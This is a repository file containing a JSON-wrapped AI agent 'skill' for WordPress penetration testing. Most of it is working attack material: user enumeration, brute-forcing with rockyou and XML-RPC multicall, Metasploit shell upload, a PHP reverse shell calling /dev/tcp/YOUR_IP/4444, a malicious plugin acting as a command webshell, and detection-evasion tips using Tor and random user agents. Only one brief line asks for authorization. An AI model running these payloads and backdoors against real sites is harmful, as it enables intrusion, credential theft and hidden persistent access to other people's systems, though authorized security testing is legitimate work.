项目文件夹

文件
wehub-resource-sync bb5c75ce05
Component Security Validation / Security Audit (push) Has been cancelled
Deploy to Cloudflare Pages / deploy (push) Has been cancelled
chore: import upstream snapshot with attribution
2026-07-13 12:38:58 +08:00

1 行
12 KiB
JSON

{"content": "---\nname: WordPress Penetration Testing\ndescription: This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.\nmetadata:\n author: zebbern\n version: \"1.1\"\n---\n\n# WordPress Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.\n\n## Prerequisites\n\n### Required Tools\n- WPScan (pre-installed in Kali Linux)\n- Metasploit Framework\n- Burp Suite or OWASP ZAP\n- Nmap for initial discovery\n- cURL or wget\n\n### Required Knowledge\n- WordPress architecture and structure\n- Web application testing fundamentals\n- HTTP protocol understanding\n- Common web vulnerabilities (OWASP Top 10)\n\n## Outputs and Deliverables\n\n1. **WordPress Enumeration Report** - Version, themes, plugins, users\n2. **Vulnerability Assessment** - Identified CVEs and misconfigurations\n3. **Credential Assessment** - Weak password findings\n4. **Exploitation Proof** - Shell access documentation\n\n## Core Workflow\n\n### Phase 1: WordPress Discovery\n\nIdentify WordPress installations:\n\n```bash\n# Check for WordPress indicators\ncurl -s http://target.com | grep -i wordpress\ncurl -s http://target.com | grep -i \"wp-content\"\ncurl -s http://target.com | grep -i \"wp-includes\"\n\n# Check common WordPress paths\ncurl -I http://target.com/wp-login.php\ncurl -I http://target.com/wp-admin/\ncurl -I http://target.com/wp-content/\ncurl -I http://target.com/xmlrpc.php\n\n# Check meta generator tag\ncurl -s http://target.com | grep \"generator\"\n\n# Nmap WordPress detection\nnmap -p 80,443 --script http-wordpress-enum target.com\n```\n\nKey WordPress files and directories:\n- `/wp-admin/` - Admin dashboard\n- `/wp-login.php` - Login page\n- `/wp-content/` - Themes, plugins, uploads\n- `/wp-includes/` - Core files\n- `/xmlrpc.php` - XML-RPC interface\n- `/wp-config.php` - Configuration (not accessible if secure)\n- `/readme.html` - Version information\n\n### Phase 2: Basic WPScan Enumeration\n\nComprehensive WordPress scanning with WPScan:\n\n```bash\n# Basic scan\nwpscan --url http://target.com/wordpress/\n\n# With API token (for vulnerability data)\nwpscan --url http://target.com --api-token YOUR_API_TOKEN\n\n# Aggressive detection mode\nwpscan --url http://target.com --detection-mode aggressive\n\n# Output to file\nwpscan --url http://target.com -o results.txt\n\n# JSON output\nwpscan --url http://target.com -f json -o results.json\n\n# Verbose output\nwpscan --url http://target.com -v\n```\n\n### Phase 3: WordPress Version Detection\n\nIdentify WordPress version:\n\n```bash\n# WPScan version detection\nwpscan --url http://target.com\n\n# Manual version checks\ncurl -s http://target.com/readme.html | grep -i version\ncurl -s http://target.com/feed/ | grep -i generator\ncurl -s http://target.com | grep \"?ver=\"\n\n# Check meta generator\ncurl -s http://target.com | grep 'name=\"generator\"'\n\n# Check RSS feeds\ncurl -s http://target.com/feed/\ncurl -s http://target.com/comments/feed/\n```\n\nVersion sources:\n- Meta generator tag in HTML\n- readme.html file\n- RSS/Atom feeds\n- JavaScript/CSS file versions\n\n### Phase 4: Theme Enumeration\n\nIdentify installed themes:\n\n```bash\n# Enumerate all themes\nwpscan --url http://target.com -e at\n\n# Enumerate vulnerable themes only\nwpscan --url http://target.com -e vt\n\n# Theme enumeration with detection mode\nwpscan --url http://target.com -e at --plugins-detection aggressive\n\n# Manual theme detection\ncurl -s http://target.com | grep \"wp-content/themes/\"\ncurl -s http://target.com/wp-content/themes/\n```\n\nTheme vulnerability checks:\n```bash\n# Search for theme exploits\nsearchsploit wordpress theme <theme_name>\n\n# Check theme version\ncurl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version\ncurl -s http://target.com/wp-content/themes/<theme>/readme.txt\n```\n\n### Phase 5: Plugin Enumeration\n\nIdentify installed plugins:\n\n```bash\n# Enumerate all plugins\nwpscan --url http://target.com -e ap\n\n# Enumerate vulnerable plugins only\nwpscan --url http://target.com -e vp\n\n# Aggressive plugin detection\nwpscan --url http://target.com -e ap --plugins-detection aggressive\n\n# Mixed detection mode\nwpscan --url http://target.com -e ap --plugins-detection mixed\n\n# Manual plugin discovery\ncurl -s http://target.com | grep \"wp-content/plugins/\"\ncurl -s http://target.com/wp-content/plugins/\n```\n\nCommon vulnerable plugins to check:\n```bash\n# Search for plugin exploits\nsearchsploit wordpress plugin <plugin_name>\nsearchsploit wordpress mail-masta\nsearchsploit wordpress slideshow gallery\nsearchsploit wordpress reflex gallery\n\n# Check plugin version\ncurl -s http://target.com/wp-content/plugins/<plugin>/readme.txt\n```\n\n### Phase 6: User Enumeration\n\nDiscover WordPress users:\n\n```bash\n# WPScan user enumeration\nwpscan --url http://target.com -e u\n\n# Enumerate specific number of users\nwpscan --url http://target.com -e u1-100\n\n# Author ID enumeration (manual)\nfor i in {1..20}; do\n curl -s \"http://target.com/?author=$i\" | grep -o 'author/[^/]*/'\ndone\n\n# JSON API user enumeration (if enabled)\ncurl -s http://target.com/wp-json/wp/v2/users\n\n# REST API user enumeration\ncurl -s http://target.com/wp-json/wp/v2/users?per_page=100\n\n# Login error enumeration\ncurl -X POST -d \"log=admin&pwd=wrongpass\" http://target.com/wp-login.php\n```\n\n### Phase 7: Comprehensive Enumeration\n\nRun all enumeration modules:\n\n```bash\n# Enumerate everything\nwpscan --url http://target.com -e at -e ap -e u\n\n# Alternative comprehensive scan\nwpscan --url http://target.com -e vp,vt,u,cb,dbe\n\n# Enumeration flags:\n# at - All themes\n# vt - Vulnerable themes\n# ap - All plugins\n# vp - Vulnerable plugins\n# u - Users (1-10)\n# cb - Config backups\n# dbe - Database exports\n\n# Full aggressive enumeration\nwpscan --url http://target.com -e at,ap,u,cb,dbe \\\n --detection-mode aggressive \\\n --plugins-detection aggressive\n```\n\n### Phase 8: Password Attacks\n\nBrute-force WordPress credentials:\n\n```bash\n# Single user brute-force\nwpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt\n\n# Multiple users from file\nwpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt\n\n# With password attack threads\nwpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50\n\n# XML-RPC brute-force (faster, may bypass protection)\nwpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc\n\n# Brute-force with API limiting\nwpscan --url http://target.com -U admin -P passwords.txt --throttle 500\n\n# Create targeted wordlist\ncewl http://target.com -w wordlist.txt\nwpscan --url http://target.com -U admin -P wordlist.txt\n```\n\nPassword attack methods:\n- `wp-login` - Standard login form\n- `xmlrpc` - XML-RPC multicall (faster)\n- `xmlrpc-multicall` - Multiple passwords per request\n\n### Phase 9: Vulnerability Exploitation\n\n#### Metasploit Shell Upload\n\nAfter obtaining credentials:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# Admin shell upload\nuse exploit/unix/webapp/wp_admin_shell_upload\nset RHOSTS target.com\nset USERNAME admin\nset PASSWORD jessica\nset TARGETURI /wordpress\nset LHOST <your_ip>\nexploit\n```\n\n#### Plugin Exploitation\n\n```bash\n# Slideshow Gallery exploit\nuse exploit/unix/webapp/wp_slideshowgallery_upload\nset RHOSTS target.com\nset TARGETURI /wordpress\nset USERNAME admin\nset PASSWORD jessica\nset LHOST <your_ip>\nexploit\n\n# Search for WordPress exploits\nsearch type:exploit platform:php wordpress\n```\n\n#### Manual Exploitation\n\nTheme/plugin editor (with admin access):\n\n```php\n// Navigate to Appearance > Theme Editor\n// Edit 404.php or functions.php\n// Add PHP reverse shell:\n\n<?php\nexec(\"/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'\");\n?>\n\n// Or use weevely backdoor\n// Access via: http://target.com/wp-content/themes/theme_name/404.php\n```\n\nPlugin upload method:\n\n```bash\n# Create malicious plugin\ncat > malicious.php << 'EOF'\n<?php\n/*\nPlugin Name: Malicious Plugin\nDescription: Security Testing\nVersion: 1.0\n*/\nif(isset($_GET['cmd'])){\n system($_GET['cmd']);\n}\n?>\nEOF\n\n# Zip and upload via Plugins > Add New > Upload Plugin\nzip malicious.zip malicious.php\n\n# Access webshell\ncurl \"http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id\"\n```\n\n### Phase 10: Advanced Techniques\n\n#### XML-RPC Exploitation\n\n```bash\n# Check if XML-RPC is enabled\ncurl -X POST http://target.com/xmlrpc.php\n\n# List available methods\ncurl -X POST -d '<?xml version=\"1.0\"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php\n\n# Brute-force via XML-RPC multicall\ncat > xmlrpc_brute.xml << 'EOF'\n<?xml version=\"1.0\"?>\n<methodCall>\n<methodName>system.multicall</methodName>\n<params>\n<param><value><array><data>\n<value><struct>\n<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>\n<member><name>params</name><value><array><data>\n<value><string>admin</string></value>\n<value><string>password1</string></value>\n</data></array></value></member>\n</struct></value>\n<value><struct>\n<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>\n<member><name>params</name><value><array><data>\n<value><string>admin</string></value>\n<value><string>password2</string></value>\n</data></array></value></member>\n</struct></value>\n</data></array></value></param>\n</params>\n</methodCall>\nEOF\n\ncurl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php\n```\n\n#### Scanning Through Proxy\n\n```bash\n# Use Tor proxy\nwpscan --url http://target.com --proxy socks5://127.0.0.1:9050\n\n# HTTP proxy\nwpscan --url http://target.com --proxy http://127.0.0.1:8080\n\n# Burp Suite proxy\nwpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks\n```\n\n#### HTTP Authentication\n\n```bash\n# Basic authentication\nwpscan --url http://target.com --http-auth admin:password\n\n# Force SSL/TLS\nwpscan --url https://target.com --disable-tls-checks\n```\n\n## Quick Reference\n\n### WPScan Enumeration Flags\n\n| Flag | Description |\n|------|-------------|\n| `-e at` | All themes |\n| `-e vt` | Vulnerable themes |\n| `-e ap` | All plugins |\n| `-e vp` | Vulnerable plugins |\n| `-e u` | Users (1-10) |\n| `-e cb` | Config backups |\n| `-e dbe` | Database exports |\n\n### Common WordPress Paths\n\n| Path | Purpose |\n|------|---------|\n| `/wp-admin/` | Admin dashboard |\n| `/wp-login.php` | Login page |\n| `/wp-content/uploads/` | User uploads |\n| `/wp-includes/` | Core files |\n| `/xmlrpc.php` | XML-RPC API |\n| `/wp-json/` | REST API |\n\n### WPScan Command Examples\n\n| Purpose | Command |\n|---------|---------|\n| Basic scan | `wpscan --url http://target.com` |\n| All enumeration | `wpscan --url http://target.com -e at,ap,u` |\n| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |\n| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Obtain written authorization before testing\n- Stay within defined scope\n- Document all testing activities\n- Follow responsible disclosure\n\n### Technical Limitations\n- WAF may block scanning\n- Rate limiting may prevent brute-force\n- Some plugins may have false negatives\n- XML-RPC may be disabled\n\n### Detection Evasion\n- Use random user agents: `--random-user-agent`\n- Throttle requests: `--throttle 1000`\n- Use proxy rotation\n- Avoid aggressive modes on monitored sites\n\n## Troubleshooting\n\n### WPScan Shows No Vulnerabilities\n\n**Solutions:**\n1. Use API token for vulnerability database\n2. Try aggressive detection mode\n3. Check for WAF blocking scans\n4. Verify WordPress is actually installed\n\n### Brute-Force Blocked\n\n**Solutions:**\n1. Use XML-RPC method instead of wp-login\n2. Add throttling: `--throttle 500`\n3. Use different user agents\n4. Check for IP blocking/fail2ban\n\n### Cannot Access Admin Panel\n\n**Solutions:**\n1. Verify credentials are correct\n2. Check for two-factor authentication\n3. Look for IP whitelist restrictions\n4. Check for login URL changes (security plugins)\n"}